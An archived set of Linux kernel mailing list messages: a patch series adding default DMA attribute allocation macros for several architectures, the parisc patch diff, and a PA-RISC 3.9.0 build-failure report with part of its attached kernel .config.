Xref: news.gmane.org gmane.linux.kernel:1482890 gmane.linux.ports.arm.kernel:234166 gmane.linux.ports.parisc:4972
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1482890>

Most architectures that define CONFIG_HAVE_DMA=y, have implementations for
both dma_alloc_attrs() and dma_free_attrs().  All achitectures that do
not define CONFIG_HAVE_DMA also have both of these definitions provided by
dma-mapping-broken.h.

Provide a default definition for the archs that define CONFIG_HAVE_DMA=y,
but have no implementation for dma_{alloc,free}_attrs(). 

As I don't have hardware for any of these systems, the patches are only
compile-tested where I could (arm64, s390) and untested for the archs
where I couldn't find a readily available prebuilt cross-compiler (c6x, parisc).

Changes from v1
---------------

arm64, s390:
 * Since these archs are using dma_ops, pass appropirate value for attrs to 
   dma_ops->alloc().
 * Indicate that these patches are compile teseted only (I don't have hardware)


c6x, parisc:
 * Indicate that these patches are untested (I don't have cross compilers)

Cheers,
Damian 


Damian Hobson-Garcia (4):
  arm64: Provide default implementation for dma_{alloc,free}_attrs
  c6x: Provide default implementation for dma_{alloc,free}_attrs
  parisc: Provide default implementation for dma_{alloc,free}_attrs
  s390: Provide default implementation for dma_{alloc,free}_attrs

 arch/arm64/include/asm/dma-mapping.h  |   17 +++++++++++------
 arch/c6x/include/asm/dma-mapping.h    |    3 +++
 arch/parisc/include/asm/dma-mapping.h |    3 +++
 arch/s390/include/asm/dma-mapping.h   |   17 +++++++++++------
 4 files changed, 28 insertions(+), 12 deletions(-)

-- 
1.7.5.4


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2 3/4] parisc: Provide default implementation for dma_{alloc,free}_attrs
Date: Tue, 30 Apr 2013 12:02:55 +0900
Lines: 34
Approved: news@gmane.org
Message-ID: <1367290975-10539-1-git-send-email-dhobsong@igel.co.jp>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1367290991 5471 80.91.229.3 (30 Apr 2013 03:03:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Apr 2013 03:03:11 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org,
	Damian Hobson-Garcia <dhobsong@igel.co.jp>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 30 05:03:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UX0qR-0002tS-Ke
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Apr 2013 05:03:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757306Ab3D3DDG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Apr 2013 23:03:06 -0400
Original-Received: from mail-pb0-f52.google.com ([209.85.160.52]:54614 "EHLO
	mail-pb0-f52.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756492Ab3D3DDF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Apr 2013 23:03:05 -0400
Original-Received: by mail-pb0-f52.google.com with SMTP id mc17so38070pbc.11
        for <linux-parisc@vger.kernel.org>; Mon, 29 Apr 2013 20:03:04 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer
         :x-gm-message-state;
        bh=/b4QEM6Z85SbqXZ0ZHRz5VxpIDO6kwS/dN9eNssmdyY=;
        b=izbQG8gdfXY8TtsD8iG9PyinoSik6I6pRtu6AHJ5I7J/QRS+tt0JHMvSrs5Ar5hbgg
         ZBxpzRFAt86pQciBb0ZGKtREPbxM8f1EGVh9exwiyBqlkymjCNOVMgXQo6tLLx1rrczJ
         ntI2VG0GbLrwxyVXtv5/tXwGQHe9iiA36jSzLeHYCl2VRoYYR6wItwqIZlpW7vENnQqd
         F59qDJX+HtTcrfbPzEDbzme/TjcMzm/OVW8aTe7yjRFfhazf+yYM0FV0jLplsFPc8IFW
         QVa3MSAZ8/rZwmL30DG2sX/g6GuY5VKGxXPB5+Z62TJ7bsEC1exMDfCTiqomWaN0xY87
         sWbg==
X-Received: by 10.66.178.5 with SMTP id cu5mr46216351pac.16.1367290984272;
        Mon, 29 Apr 2013 20:03:04 -0700 (PDT)
Original-Received: from localhost.localdomain ([219.106.231.132])
        by mx.google.com with ESMTPSA id ts3sm26478315pbc.12.2013.04.29.20.03.02
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Mon, 29 Apr 2013 20:03:03 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.4
X-Gm-Message-State: ALoCoQmGa58wahFh3fKzbNaTCPiStRE41ugB/8PNuPBa9R/DbzUeOVWZt+i7tW14E4K67Vs2eUCw
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4973 gmane.linux.kernel:1482893
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4973>

Most architectures that define CONFIG_HAVE_DMA, have implementations for
both dma_alloc_attrs() and dma_free_attrs().  All achitectures that do
not define CONFIG_HAVE_DMA also have both of these definitions provided by
dma-mapping-broken.h.

Add default implementations for these functions on parisc.

Signed-off-by: Damian Hobson-Garcia <dhobsong@igel.co.jp>
---
 arch/parisc/include/asm/dma-mapping.h |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index 106b395..d0eae5f 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -46,6 +46,9 @@ extern struct hppa_dma_ops pcx_dma_ops;
 
 extern struct hppa_dma_ops *hppa_dma_ops;
 
+#define dma_alloc_attrs(d, s, h, f, a) dma_alloc_coherent(d, s, h, f)
+#define dma_free_attrs(d, s, h, f, a) dma_free_coherent(d, s, h, f)
+
 static inline void *
 dma_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_handle,
 		   gfp_t flag)
-- 
1.7.5.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Error compiling 3.9.0
Date: Tue, 30 Apr 2013 11:37:01 +0200
Lines: 1916
Approved: news@gmane.org
Message-ID: <1742161.3f9jxWykf1@devpool02>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="nextPart3483958.orSjGFe6ez"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1367314624 24682 80.91.229.3 (30 Apr 2013 09:37:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Apr 2013 09:37:04 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 30 11:37:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UX6zb-0000k8-Jh
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Apr 2013 11:37:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759938Ab3D3Jgx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Apr 2013 05:36:53 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:52898 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759919Ab3D3Jgs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Apr 2013 05:36:48 -0400
Original-Received: (qmail 12328 invoked from network); 30 Apr 2013 09:36:44 -0000
Original-Received: from unknown ([::ffff:80.150.94.234]:56378 HELO devpool02.localnet) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 30 Apr 2013 11:36:44 +0200
User-Agent: KMail/4.10.2 (Linux/3.8.7-1-desktop; KDE/4.10.2; x86_64; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4974
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4974>

This is a multi-part message in MIME format.

--nextPart3483958.orSjGFe6ez
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Compiling for my C8000 (64 bit) failed:

*arch/parisc/kernel/built-in.o: In function `sys_fork_wrapper':
*(.text+0x4dc8): relocation truncated to fit: R_PARISC_PCREL17F against symbol 
`sys_fork' defined in .text.sys_fork section in kernel/built-in.o
*hppa64-unknown-linux-gnu-ld: arch/parisc/kernel/built-in.o(.text+0xllx): 
cannot reach (null)
*arch/parisc/kernel/built-in.o: In function `sys_vfork_wrapper':
*(.text+0x4e1c): relocation truncated to fit: R_PARISC_PCREL17F against symbol 
`sys_vfork' defined in .text.sys_vfork section in kernel/built-in.o
*make: *** [vmlinux] Error 1

This is after I enabled MLONGCALLS, without longcalls it failed, too. I'm now 
trying with binutils 2.23.1 instead of 2.22.

My C3600 (32 bit) doesn't even come that far, I get:

make: hppa-linux-gnu-gcc: Command not found
make: hppa-linux-gnu-gcc: Command not found
/usr/src/linux-3.9.0/scripts/gcc-version.sh: line 25: hppa-linux-gnu-gcc: 
command not found
/usr/src/linux-3.9.0/scripts/gcc-version.sh: line 26: hppa-linux-gnu-gcc: 
command not found
Sorry, GCC v3.3 or above is required to build the kernel.
make: *** [checkbin] Error 1

Any ideas?

Eike
--nextPart3483958.orSjGFe6ez
Content-Disposition: attachment; filename=".config"
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="utf-8"; name=".config"

#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 3.9.0 Kernel Configuration
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_TIME_LOW_RES=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_IRQ_WORK=y

#
# General setup
#
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE="hppa64-unknown-linux-gnu-"
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_FHANDLE=y
# CONFIG_AUDIT is not set
CONFIG_HAVE_GENERIC_HARDIRQS=y

#
# IRQ subsystem
#
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
# CONFIG_ALWAYS_USE_PERSISTENT_CLOCK is not set

#
# CPU/Task time and stats accounting
#
CONFIG_TICK_CPU_ACCOUNTING=y
CONFIG_BSD_PROCESS_ACCT=y
# CONFIG_BSD_PROCESS_ACCT_V3 is not set
# CONFIG_TASKSTATS is not set

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_PREEMPT_RCU is not set
CONFIG_RCU_STALL_COMMON=y
CONFIG_RCU_FANOUT=64
CONFIG_RCU_FANOUT_LEAF=16
# CONFIG_RCU_FANOUT_EXACT is not set
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_RCU_NOCB_CPU is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=18
# CONFIG_CGROUPS is not set
# CONFIG_CHECKPOINT_RESTORE is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
CONFIG_UIDGID_CONVERTED=y
CONFIG_UIDGID_STRICT_TYPE_CHECKS=y
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EXPERT is not set
# CONFIG_SYSCTL_SYSCALL is not set
CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW=y
CONFIG_KALLSYMS=y
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
# CONFIG_COMPAT_BRK is not set
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_HAVE_64BIT_ALIGNED_ACCESS=y
CONFIG_USE_GENERIC_SMP_HELPERS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_CLONE_BACKWARDS=y

#
# GCOV-based kernel profiling
#
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
# CONFIG_MODULE_SIG is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
# CONFIG_BLK_DEV_BSG is not set
# CONFIG_BLK_DEV_BSGLIB is not set
# CONFIG_BLK_DEV_INTEGRITY is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_BROKEN_RODATA=y
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
CONFIG_MUTEX_SPIN_ON_OWNER=y
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_MLONGCALLS=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_COMPACTION is not set
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_CROSS_MEMORY_ATTACH=y
CONFIG_CLEANCACHE=y
CONFIG_FRONTSWAP=y
CONFIG_COMPAT=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_NR_CPUS=2

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
# CONFIG_GSC_LASI is not set
# CONFIG_GSC_WAX is not set
# CONFIG_EISA is not set
CONFIG_PCI=y
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
# CONFIG_PCI_PRI is not set
# CONFIG_PCI_PASID is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=y
CONFIG_COREDUMP=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_DIAG is not set
CONFIG_UNIX=y
CONFIG_UNIX_DIAG=y
CONFIG_XFRM=y
CONFIG_XFRM_ALGO=m
CONFIG_XFRM_USER=m
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
# CONFIG_NET_KEY is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
CONFIG_INET_LRO=y
CONFIG_INET_DIAG=y
CONFIG_INET_TCP_DIAG=y
CONFIG_INET_UDP_DIAG=y
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=y
CONFIG_IPV6_PRIVACY=y
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
CONFIG_INET6_IPCOMP=m
# CONFIG_IPV6_MIP6 is not set
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
# CONFIG_INET6_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET6_XFRM_MODE_TUNNEL is not set
# CONFIG_INET6_XFRM_MODE_BEET is not set
# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
CONFIG_IPV6_SIT=m
# CONFIG_IPV6_SIT_6RD is not set
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_GRE is not set
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_IPV6_MROUTE is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
CONFIG_STP=m
CONFIG_BRIDGE=m
# CONFIG_BRIDGE_IGMP_SNOOPING is not set
# CONFIG_BRIDGE_VLAN_FILTERING is not set
CONFIG_HAVE_NET_DSA=y
CONFIG_VLAN_8021Q=m
# CONFIG_VLAN_8021Q_GVRP is not set
# CONFIG_VLAN_8021Q_MVRP is not set
# CONFIG_DECNET is not set
CONFIG_LLC=m
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
CONFIG_DNS_RESOLVER=y
# CONFIG_BATMAN_ADV is not set
# CONFIG_OPENVSWITCH is not set
# CONFIG_VSOCKETS is not set
CONFIG_RPS=y
CONFIG_RFS_ACCEL=y
CONFIG_XPS=y
CONFIG_BQL=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_DEVTMPFS=y
# CONFIG_DEVTMPFS_MOUNT is not set
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_FW_LOADER_USER_HELPER is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_GENERIC_CPU_DEVICES is not set
# CONFIG_DMA_SHARED_BUFFER is not set

#
# Bus devices
#
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=4
# CONFIG_BLK_DEV_CRYPTOLOOP is not set
# CONFIG_BLK_DEV_DRBD is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_NVME is not set
# CONFIG_BLK_DEV_SX8 is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=4096
# CONFIG_BLK_DEV_XIP is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_RBD is not set
# CONFIG_BLK_DEV_RSXX is not set

#
# Misc devices
#
# CONFIG_SENSORS_LIS3LV02D is not set
# CONFIG_AD525X_DPOT is not set
# CONFIG_PHANTOM is not set
# CONFIG_INTEL_MID_PTI is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ICS932S401 is not set
# CONFIG_ATMEL_SSC is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_APDS9802ALS is not set
# CONFIG_ISL29003 is not set
# CONFIG_ISL29020 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_SENSORS_BH1780 is not set
# CONFIG_SENSORS_BH1770 is not set
# CONFIG_SENSORS_APDS990X is not set
# CONFIG_HMC6352 is not set
# CONFIG_DS1682 is not set
# CONFIG_BMP085_I2C is not set
# CONFIG_PCH_PHUB is not set
# CONFIG_USB_SWITCH_FSA9480 is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_AT24 is not set
# CONFIG_EEPROM_LEGACY is not set
# CONFIG_EEPROM_MAX6875 is not set
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#
# CONFIG_SENSORS_LIS3_I2C is not set

#
# Altera FPGA firmware download module
#
# CONFIG_ALTERA_STAPL is not set
CONFIG_HAVE_IDE=y
CONFIG_IDE=y

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_XFER_MODE=y
CONFIG_IDE_ATAPI=y
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_IDE_GD=y
# CONFIG_IDE_GD_ATA is not set
# CONFIG_IDE_GD_ATAPI is not set
CONFIG_BLK_DEV_IDECD=y
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_IDE_TASK_IOCTL is not set
# CONFIG_IDE_PROC_FS is not set

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
# CONFIG_IDEPCI_PCIBUS_ORDER is not set
# CONFIG_BLK_DEV_OFFBOARD is not set
CONFIG_BLK_DEV_GENERIC=y
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8172 is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=y
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
